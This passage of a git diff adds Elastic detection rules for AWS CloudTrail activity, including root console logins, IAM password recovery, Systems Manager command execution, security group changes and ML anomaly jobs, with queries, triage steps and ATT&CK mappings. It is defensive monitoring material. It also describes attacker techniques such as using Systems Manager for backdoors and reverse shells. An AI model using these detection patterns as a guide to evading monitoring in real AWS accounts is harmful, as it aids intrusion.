Cluster or instance stoppages from unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS RDS Instance/Cluster Stoppage" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/stop-db-cluster.html", + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StopDBCluster.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/stop-db-instance.html", + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StopDBInstance.html", +] +risk_score = 47 +rule_id = "ecf2b32c-e221-4bd4-aa3b-c7d59b3bc01d" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:(StopDBCluster or StopDBInstance) and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1489" +name = "Service Stop" +reference = "https://attack.mitre.org/techniques/T1489/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/aws/initial_access_console_login_root.toml b/rules/integrations/aws/initial_access_console_login_root.toml new file mode 100644 index 000000000..ce29dc00a --- /dev/null +++ b/rules/integrations/aws/initial_access_console_login_root.toml @@ -0,0 +1,64 @@ +[metadata] +creation_date = "2020/06/11" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = "Identifies a successful login to the AWS Management Console by the Root user." +false_positives = [ + """ + It's strongly recommended that the root user is not used for everyday tasks, including the administrative ones. + Verify whether the IP address, location, and/or hostname should be logging in as root in your environment. + Unfamiliar root logins should be investigated immediately. If known behavior is causing false positives, it can be + exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Management Console Root Login" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html"] +risk_score = 73 +rule_id = "e2a67480-3b79-403d-96e3-fdd2992c50ef" +severity = "high" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:signin.amazonaws.com and event.action:ConsoleLogin and aws.cloudtrail.user_identity.type:Root and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/aws/initial_access_password_recovery.toml b/rules/integrations/aws/initial_access_password_recovery.toml new file mode 100644 index 000000000..4ad368ec9 --- /dev/null +++ b/rules/integrations/aws/initial_access_password_recovery.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/07/02" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies AWS IAM password recovery requests. An adversary may attempt to gain unauthorized AWS access by abusing +password recovery mechanisms. +""" +false_positives = [ + """ + Verify whether the user identity, user agent, and/or hostname should be requesting changes in your environment. + Password reset attempts from unfamiliar users should be investigated. If known behavior is causing false positives, + it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS IAM Password Recovery Requested" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://www.cadosecurity.com/2020/06/11/an-ongoing-aws-phishing-campaign/"] +risk_score = 21 +rule_id = "69c420e8-6c9e-4d28-86c0-8a2be2d1e78c" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:signin.amazonaws.com and event.action:PasswordRecoveryRequested and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/integrations/aws/initial_access_via_system_manager.toml b/rules/integrations/aws/initial_access_via_system_manager.toml new file mode 100644 index 000000000..c6b35a04a --- /dev/null +++ b/rules/integrations/aws/initial_access_via_system_manager.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2020/07/06" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of commands and scripts via System Manager. Execution methods such as RunShellScript, +RunPowerShellScript, and alike can be abused by an authenticated attacker to install a backdoor or to interact with a +compromised instance via reverse-shell using system only commands. +""" +false_positives = [ + """ + Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. + Suspicious commands from unfamiliar users or hosts should be investigated. If known behavior is causing false + positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Execution via System Manager" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-plugins.html"] +risk_score = 21 +rule_id = "37b211e8-4e2f-440f-86d8-06cc8f158cfa" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:ssm.amazonaws.com and event.action:SendCommand and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" +[[rule.threat.technique.subtechnique]] +id = "T1566.002" +name = "Spearphishing Link" +reference = "https://attack.mitre.org/techniques/T1566/002/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/integrations/aws/ml_cloudtrail_error_message_spike.toml b/rules/integrations/aws/ml_cloudtrail_error_message_spike.toml new file mode 100644 index 000000000..5b5d0f91c --- /dev/null +++ b/rules/integrations/aws/ml_cloudtrail_error_message_spike.toml @@ -0,0 +1,68 @@ +[metadata] +creation_date = "2020/07/13" +maturity = "production" +updated_date = "2022/02/28" +integration = "aws" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected a significant spike in the rate of a particular error in the CloudTrail messages. Spikes +in error messages may accompany attempts at privilege escalation, lateral movement, or discovery. +""" +false_positives = [ + """ + Spikes in error message activity can also be due to bugs in cloud automation scripts or workflows; changes to cloud + automation scripts or workflows; adoption of new services; changes in the way services are used; or changes to IAM + privileges. + """, +] +from = "now-60m" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "high_distinct_count_error_message" +name = "Spike in AWS Error Messages" +note = """ +## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +## Triage and analysis + +### Investigating Spikes in CloudTrail Errors + +CloudTrail logging provides visibility on actions taken within an AWS environment. By monitoring these events and understanding +what is considered normal behavior within an organization, you can spot suspicious or malicious activity when deviations +occur. This example rule triggers from a large spike in the number of CloudTrail log messages that contain a particular +error message. The error message in question was associated with the response to an AWS API command or method call, this +has the potential to uncover unknown threats or activity. + +#### Possible investigation steps: +- Examine the history of the error. Has it manifested before? If the error, which is visible in the `aws.cloudtrail.error_message` field, only manifested recently, it might be related to recent changes in an automation module or script. +- Examine the request parameters. These may provide indications as to the nature of the task being performed when the error occurred. Is the error related to unsuccessful attempts to enumerate or access objects, data, or secrets? If so, this can sometimes be a byproduct of discovery, privilege escalation or lateral movement attempts. +- Consider the user as identified by the `user.name field`. Is this activity part of an expected workflow for the user context? Examine the user identity in the `aws.cloudtrail.user_identity.arn` field and the access key ID in the `aws.cloudtrail.user_identity.access_key_id` field, which can help identify the precise user context. The user agent details in the `user_agent.original` field may also indicate what kind of a client made the request. +- Consider the source IP address and geolocation for the calling user who issued the command. Do they look normal for the calling user? If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts, or could it be sourcing from an EC2 instance that's not under your control? If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? + +### False Positive Analysis +- This rule has the possibility to produce false positives based on unexpected activity occurring such as bugs or recent +changes to automation modules or scripting. +- The adoption of new services or the addition of new functionality to scripts may generate false positives. + +### Related Rules +- Unusual AWS Command for a User +- Rare AWS Error Code + +### Response and Remediation +- If suspicious or malicious activity is observed, immediately rotate and delete relevant AWS IAM access keys. +- If any unauthorized new user accounts were created, remove them. Request password resets for other IAM users. +- Look into enabling multi-factor authentication for users. +- Follow security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS. +""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "78d3d8d9-b476-451d-a9e0-7a5addd70670" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "ML"] +type = "machine_learning" + diff --git a/rules/integrations/aws/ml_cloudtrail_rare_error_code.toml b/rules/integrations/aws/ml_cloudtrail_rare_error_code.toml new file mode 100644 index 000000000..df39b1184 --- /dev/null +++ b/rules/integrations/aws/ml_cloudtrail_rare_error_code.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/07/13" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected an unusual error in a CloudTrail message. These can be byproducts of attempted or +successful persistence, privilege escalation, defense evasion, discovery, lateral movement, or collection. +""" +false_positives = [ + """ + Rare and unusual errors may indicate an impending service failure state. Rare and unusual user error activity can + also be due to manual troubleshooting or reconfiguration attempts by insufficiently privileged users, bugs in cloud + automation scripts or workflows, or changes to IAM privileges. + """, +] +from = "now-2h" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "rare_error_code" +name = "Rare AWS Error Code" +note = """ +## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +## Triage and analysis + +Investigating Unusual CloudTrail Error Activity ### +Detection alerts from this rule indicate a rare and unusual error code that was associated with the response to an AWS API command or method call. Here are some possible avenues of investigation: +- Examine the history of the error. Has it manifested before? If the error, which is visible in the `aws.cloudtrail.error_code field`, only manifested recently, it might be related to recent changes in an automation module or script. +- Examine the request parameters. These may provide indications as to the nature of the task being performed when the error occurred. Is the error related to unsuccessful attempts to enumerate or access objects, data, or secrets? If so, this can sometimes be a byproduct of discovery, privilege escalation, or lateral movement attempts. +- Consider the user as identified by the `user.name` field. Is this activity part of an expected workflow for the user context? Examine the user identity in the `aws.cloudtrail.user_identity.arn` field and the access key ID in the `aws.cloudtrail.user_identity.access_key_id` field, which can help identify the precise user context. The user agent details in the `user_agent.original` field may also indicate what kind of a client made the request. +- Consider the source IP address and geolocation for the calling user who issued the command. Do they look normal for the calling user? If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts, or could it be sourcing from an EC2 instance that's not under your control? If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "19de8096-e2b0-4bd8-80c9-34a820813fff" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "ML"] +type = "machine_learning" + diff --git a/rules/integrations/aws/ml_cloudtrail_rare_method_by_city.toml b/rules/integrations/aws/ml_cloudtrail_rare_method_by_city.toml new file mode 100644 index 000000000..a64738482 --- /dev/null +++ b/rules/integrations/aws/ml_cloudtrail_rare_method_by_city.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/07/13" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected AWS command activity that, while not inherently suspicious or abnormal, is sourcing from +a geolocation (city) that is unusual for the command. This can be the result of compromised credentials or keys being +used by a threat actor in a different geography than the authorized user(s). +""" +false_positives = [ + """ + New or unusual command and user geolocation activity can be due to manual troubleshooting or reconfiguration; + changes in cloud automation scripts or workflows; adoption of new services; expansion into new regions; increased + adoption of work from home policies; or users who travel frequently. + """, +] +from = "now-2h" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "rare_method_for_a_city" +name = "Unusual City For an AWS Command" +note = """ +## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +## Triage and analysis + +### Investigating an Unusual CloudTrail Event +Detection alerts from this rule indicate an AWS API command or method call that is rare and unusual for the geolocation of the source IP address. Here are some possible avenues of investigation: +- Consider the source IP address and geolocation for the calling user who issued the command. Do they look normal for the calling user? If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts, or could it be sourcing from an EC2 instance that's not under your control? If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Consider the user as identified by the `user.name` field. Is this command part of an expected workflow for the user context? Examine the user identity in the `aws.cloudtrail.user_identity.arn` field and the access key ID in the `aws.cloudtrail.user_identity.access_key_id` field, which can help identify the precise user context. The user agent details in the `user_agent.original` field may also indicate what kind of a client made the request. +- Consider the time of day. If the user is a human, not a program or script, did the activity take place during a normal time of day? +- Examine the history of the command. If the command, which is visible in the `event.action field`, only manifested recently, it might be part of a new automation module or script. If it has a consistent cadence (for example, if it appears in small numbers on a weekly or monthly cadence), it might be part of a housekeeping or maintenance process. +- Examine the request parameters. These may provide indications as to the source of the program or the nature of the tasks it is performing.""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "809b70d3-e2c3-455e-af1b-2626a5a1a276" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "ML"] +type = "machine_learning" + diff --git a/rules/integrations/aws/ml_cloudtrail_rare_method_by_country.toml b/rules/integrations/aws/ml_cloudtrail_rare_method_by_country.toml new file mode 100644 index 000000000..52003f225 --- /dev/null +++ b/rules/integrations/aws/ml_cloudtrail_rare_method_by_country.toml @@ -0,0 +1,69 @@ +[metadata] +creation_date = "2020/07/13" +maturity = "production" +updated_date = "2021/09/13" +integration = "aws" + +[rule] +anomaly_threshold = 50 +author = ["Elastic"] +description = """ +A machine learning job detected AWS command activity that, while not inherently suspicious or abnormal, is sourcing from +a geolocation (country) that is unusual for the command. This can be the result of compromised credentials or keys being +used by a threat actor in a different geography than the authorized user(s). +""" +false_positives = [ + """ + New or unusual command and user geolocation activity can be due to manual troubleshooting or reconfiguration; + changes in cloud automation scripts or workflows; adoption of new services; expansion into new regions; increased + adoption of work from home policies; or users who travel frequently. + """, +] +from = "now-2h" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "rare_method_for_a_country" +name = "Unusual Country For an AWS Command" +note = """ +## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +## Triage and analysis + +### Investigating an Unusual Country For an AWS Command + +CloudTrail logging provides visibility on actions taken within an AWS environment. By monitoring these events and understanding +what is considered normal behavior within an organization, suspicious or malicious activity can be spotted when deviations +are observed. This example rule focuses on AWS command activity where the country from the source of the activity has been +considered unusual based on previous history. + +#### Possible investigation steps: +- Consider the source IP address and geolocation for the calling user who issued the command. Do they look normal for the calling user? If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts, or could it be sourcing from an EC2 instance that's not under your control? If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Consider the user as identified by the `user.name` field. Is this command part of an expected workflow for the user context? Examine the user identity in the `aws.cloudtrail.user_identity.arn` field and the access key ID in the `aws.cloudtrail.user_identity.access_key_id` field, which can help identify the precise user context. The user agent details in the `user_agent.original` field may also indicate what kind of a client made the request. +- Consider the time of day. If the user is a human, not a program or script, did the activity take place during a normal time of day? +- Examine the history of the command. If the command, which is visible in the `event.action field`, only manifested recently, it might be part of a new automation module or script. If it has a consistent cadence (for example, if it appears in small numbers on a weekly or monthly cadence), it might be part of a housekeeping or maintenance process. +- Examine the request parameters. These may provide indications as to the source of the program or the nature of the tasks it is performing. + +### False Positive Analysis +- False positives can occur if activity is coming from new employees based in a country with no previous history in AWS, +therefore it's important to validate the activity listed in the investigation steps above. + +### Related Rules +- Unusual City For an AWS Command +- Unusual AWS Command for a User +- Rare AWS Error Code + +### Response and Remediation +- If suspicious or malicious activity is observed, immediately rotate and delete relevant AWS IAM access keys. +- Validate if any unauthorized new users were created, remove these accounts and request password resets for other IAM users. +- Look into enabling multi-factor authentication for users. +- Follow security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS. +""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "dca28dee-c999-400f-b640-50a081cc0fd1" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "ML"] +type = "machine_learning" + diff --git a/rules/integrations/aws/ml_cloudtrail_rare_method_by_user.toml b/rules/integrations/aws/ml_cloudtrail_rare_method_by_user.toml new file mode 100644 index 000000000..4744d2f8d --- /dev/null +++ b/rules/integrations/aws/ml_cloudtrail_rare_method_by_user.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/07/13" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +anomaly_threshold = 75 +author = ["Elastic"] +description = """ +A machine learning job detected an AWS API command that, while not inherently suspicious or abnormal, is being made by a +user context that does not normally use the command. This can be the result of compromised credentials or keys as +someone uses a valid account to persist, move laterally, or exfiltrate data. +""" +false_positives = [ + """ + New or unusual user command activity can be due to manual troubleshooting or reconfiguration; changes in cloud + automation scripts or workflows; adoption of new services; or changes in the way services are used. + """, +] +from = "now-2h" +interval = "15m" +license = "Elastic License v2" +machine_learning_job_id = "rare_method_for_a_username" +name = "Unusual AWS Command for a User" +note = """ +## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +## Triage and analysis + +### Investigating an Unusual CloudTrail Event + +Detection alerts from this rule indicate an AWS API command or method call that is rare and unusual for the calling IAM user. Here are some possible avenues of investigation: +- Consider the user as identified by the `user.name` field. Is this command part of an expected workflow for the user context? Examine the user identity in the `aws.cloudtrail.user_identity.arn` field and the access key ID in the `aws.cloudtrail.user_identity.access_key_id` field, which can help identify the precise user context. The user agent details in the `user_agent.original` field may also indicate what kind of a client made the request. +- Consider the source IP address and geolocation for the calling user who issued the command. Do they look normal for the calling user? If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts, or could it be sourcing from an EC2 instance that's not under your control? If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Consider the time of day. If the user is a human, not a program or script, did the activity take place during a normal time of day? +- Examine the history of the command. If the command, which is visible in the `event.action field`, only manifested recently, it might be part of a new automation module or script. If it has a consistent cadence (for example, if it appears in small numbers on a weekly or monthly cadence), it might be part of a housekeeping or maintenance process. +- Examine the request parameters. These may provide indications as to the source of the program or the nature of the tasks it is performing.""" +references = ["https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html"] +risk_score = 21 +rule_id = "ac706eae-d5ec-4b14-b4fd-e8ba8086f0e1" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "ML"] +type = "machine_learning" + diff --git a/rules/integrations/aws/persistence_ec2_network_acl_creation.toml b/rules/integrations/aws/persistence_ec2_network_acl_creation.toml new file mode 100644 index 000000000..514a74b92 --- /dev/null +++ b/rules/integrations/aws/persistence_ec2_network_acl_creation.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/06/04" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of an AWS Elastic Compute Cloud (EC2) network access control list (ACL) or an entry in a network +ACL with a specified rule number. +""" +false_positives = [ + """ + Network ACL's may be created by a network administrator. Verify whether the user identity, user agent, and/or + hostname should be making changes in your environment. Network ACL creations by unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS EC2 Network Access Control List Creation" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/create-network-acl.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateNetworkAcl.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/create-network-acl-entry.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateNetworkAclEntry.html", +] +risk_score = 21 +rule_id = "39144f38-5284-4f8e-a2ae-e3fd628d90b0" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:(CreateNetworkAcl or CreateNetworkAclEntry) and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1133" +name = "External Remote Services" +reference = "https://attack.mitre.org/techniques/T1133/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/aws/persistence_ec2_security_group_configuration_change_detection.toml b/rules/integrations/aws/persistence_ec2_security_group_configuration_change_detection.toml new file mode 100644 index 000000000..e98e7f46f --- /dev/null +++ b/rules/integrations/aws/persistence_ec2_security_group_configuration_change_detection.toml @@ -0,0 +1,69 @@ +[metadata] +creation_date = "2021/05/05" +maturity = "production" +updated_date = "2021/09/20" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies a change to an AWS Security Group Configuration. A security group is like a virtual firewall, and modifying +configurations may allow unauthorized access. Threat actors may abuse this to establish persistence, exfiltrate data, or +pivot in an AWS environment. +""" +false_positives = [ + """ + A security group may be created by a system or network administrator. Verify whether the user identity, user + agent, and/or hostname should be making changes in your environment. Security group creations by unfamiliar users + or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-30m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS Security Group Configuration Change Detection" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-security-groups.html"] +risk_score = 21 +rule_id = "29052c19-ff3e-42fd-8363-7be14d7c5469" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:iam.amazonaws.com and event.action:(AuthorizeSecurityGroupEgress or +CreateSecurityGroup or ModifyInstanceAttribute or ModifySecurityGroupRules or RevokeSecurityGroupEgress or +RevokeSecurityGroupIngress) and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +name = "Persistence" +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + [[rule.threat.technique.subtechnique]] + id = "T1562.007" + name = "Disable or Modify Cloud Firewall" + reference = "https://attack.mitre.org/techniques/T1562/007/" + +[rule.threat.tactic] +name = "Defense Evasion" +id = "TA0005" +reference = "https://attack.mitre.org/tactics/TA0005/" diff --git a/rules/integrations/aws/persistence_iam_group_creation.toml b/rules/integrations/aws/persistence_iam_group_creation.toml new file mode 100644 index 000000000..a898a74cd --- /dev/null +++ b/rules/integrations/aws/persistence_iam_group_creation.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/06/05" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple +users. Any user in a group automatically has the permissions that are assigned to the group. +""" +false_positives = [ + """ + A group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or + hostname should be making changes in your environment. Group creations by unfamiliar users or hosts should be + investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS IAM Group Creation" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/create-group.html", + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateGroup.html", +] +risk_score = 21 +rule_id = "169f3a93-efc7-4df2-94d6-0d9438c310d1" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:iam.amazonaws.com and event.action:CreateGroup and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1136" +name = "Create Account" +reference = "https://attack.mitre.org/techniques/T1136/" +[[rule.threat.technique.subtechnique]] +id = "T1136.003" +name = "Cloud Account" +reference = "https://attack.mitre.org/techniques/T1136/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/aws/persistence_rds_cluster_creation.toml b/rules/integrations/aws/persistence_rds_cluster_creation.toml new file mode 100644 index 000000000..2b1be4fae --- /dev/null +++ b/rules/integrations/aws/persistence_rds_cluster_creation.toml @@ -0,0 +1,66 @@ +[metadata] +creation_date = "2020/05/20" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of a new Amazon Relational Database Service (RDS) Aurora DB cluster or global database spread +across multiple regions. +""" +false_positives = [ + """ + Valid clusters may be created by a system or network administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. Cluster creations by unfamiliar users or hosts + should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS RDS Cluster Creation" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/create-db-cluster.html", + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBCluster.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/create-global-cluster.html", + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateGlobalCluster.html", +] +risk_score = 21 +rule_id = "e14c5fd7-fdd7-49c2-9e5b-ec49d817bc8d" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:(CreateDBCluster or CreateGlobalCluster) and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1133" +name = "External Remote Services" +reference = "https://attack.mitre.org/techniques/T1133/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/persistence_rds_group_creation.toml b/rules/integrations/aws/persistence_rds_group_creation.toml new file mode 100644 index 000000000..59a850d34 --- /dev/null +++ b/rules/integrations/aws/persistence_rds_group_creation.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2021/06/05" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = "Identifies the creation of an Amazon Relational Database Service (RDS) Security group." +false_positives = [ + """ + An RDS security group may be created by a system or network administrator. Verify whether the user identity, user + agent, and/or hostname should be making changes in your environment. Security group creations by unfamiliar users + or hosts should be investigated. If known behavior is causing false positives, it can be 